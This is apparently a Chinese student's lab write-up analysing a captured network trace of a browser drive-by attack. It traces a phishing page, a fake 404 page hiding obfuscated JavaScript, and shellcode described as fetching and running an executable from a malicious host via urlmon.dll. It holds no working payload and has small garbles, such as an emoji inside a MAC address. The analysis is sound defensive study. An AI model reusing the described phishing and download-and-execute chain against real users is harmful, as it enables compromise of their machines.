10.0.5.15 08:00:27💿3d:55

这里推测攻击场景可能是四台不同网卡的主机,这四台主机中有克隆的虚拟机。

3.列出捕获文件中的所有网页页面,其中哪些页面包含了可疑的、可能是恶意的JavaScript脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?
这里通过指令tshark -r suspicious-time.pcap -Y http.request -T fields -e ip.src -e ip.dst -e http.host -e http.request.uri | awk '{print $1," -> ",$2, "\t: ","http://"$3$4}'显示捕获的所有内容:

这里需要去掉一些图片,cssico等文件,同时honeynet.org和包含google内容的视为正常的网页:

这里我们打开rapidshare.com.eyu32.ru/login.php,看到是一个登录页面,推测是一个钓鱼网站:

sploitme.com.cn显示无法查询到该服务器,这里是黑客故意设置内含有javascript的:

这个显示的是最终跳转的页面:

4.请给出攻击者执行攻击动作的概要描述。
用户通过浏览器打开邮件链接,首先跳转至钓鱼网站rapidshare.com.eyu32.ru/login.php,用户在不知情的情况下进行注册和登录,个人隐私信息会被传送到sploitme.com.cn/?click=XXXX,再重定向到sploitme.com.cn/fg/show.php?s=XXXX,该链接包含javascript,同时返回用户一个伪装的404 not found页面,通过检索程序搜索用户主机漏洞,然后客户机将正常浏览页面,攻击服务器会发送一个新的链接shop.honetnet.sg/catalog/,连接到无害的页面sploitme.com.cn,在用户主机上的恶意软件将访问www.honeynet.org

5.攻击者引入了哪些技巧给你的分析带来了困难,请提供在之前问题中识别的恶意JavaScript脚本内容,并对它们进行解码或解密。

  • 被黑的网页包含javascript代码,这些javascript代码使用简单的编码和加密进行了混淆

rapidshare.eyu32.ru上script来自于http://dean.edwards.name/packer/ + http://www.web-code.org/coding-tools/javascript-escape-unescape-converter-tool.html;
honeynet.sg上script来自于http://www.colddata.com/developers/online_tools/obfuscator.shtml#obfuscator_view

  • 这里恶意页面伪装成看404页面,实际注入了恶意js:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<meta name="robots" content="noindex">
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /fg/show.php was not found on this server.</p>
<script language='JavaScript'>
[some script]
</script>
<noscript></noscript>
</body></html>
  • 第一次从shop.honeynet.sg/catalog/连接到sploitme.com.cn, 它触发了漏洞服务,第二次连接时产生一个了无害或者没有进一步查询的页面http://sploitme.com.cn/fg/load.php?e=1

6.攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
我们可以追踪数据流,在第17条TCP流中,这里应该是定位到了IE浏览器,攻击者目标是Windows操作系统,这里主要利用的漏洞是IE漏洞ActiveX组件漏洞,解决方法的话主要是及时升级浏览器,安装杀毒软件和防火墙,及时安装漏洞补丁,不随意点开未知连接:

7. Shellcode执行了哪些动作?请列出ShellcodeMD5,并比较它们之间的差异?
Shellcode这里获取系统临时文件路径,加载urlmon.dll,从 URLhttp://sploitme.com.cn/fg/load.php?e=1检索可执行文件,然后执行它。 Shellcode之间的唯一区别是对load.php脚本的请求中的e变量,e的不同则请求不同的shellcode,该变量指定发送恶意软件可执行文件,shellcode这里可以从wireshark上跟踪数据流找到:

这里没法用教材上的方法获取shellcode,提示出错,MD5可以用命令MD5sum XXXX来进行加密。

8.在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?
有二进制可执行代码参与的,它们的目的是通过Internet Explorer加载www.honeynet.org

3.学习中遇到的问题及解决

  • 问题1:chaosreader运行出错
    问题1解决方案:这里需要从github上下载最新版

4.学习感悟和思考

这一章内容和实验都比较多,虽然有一部分参考资料,但是还是有很多不会和不理解的。

参考资料

posted @ 2020-05-21 00:34  20199310娄豪  阅读(520)  评论(0编辑  收藏  举报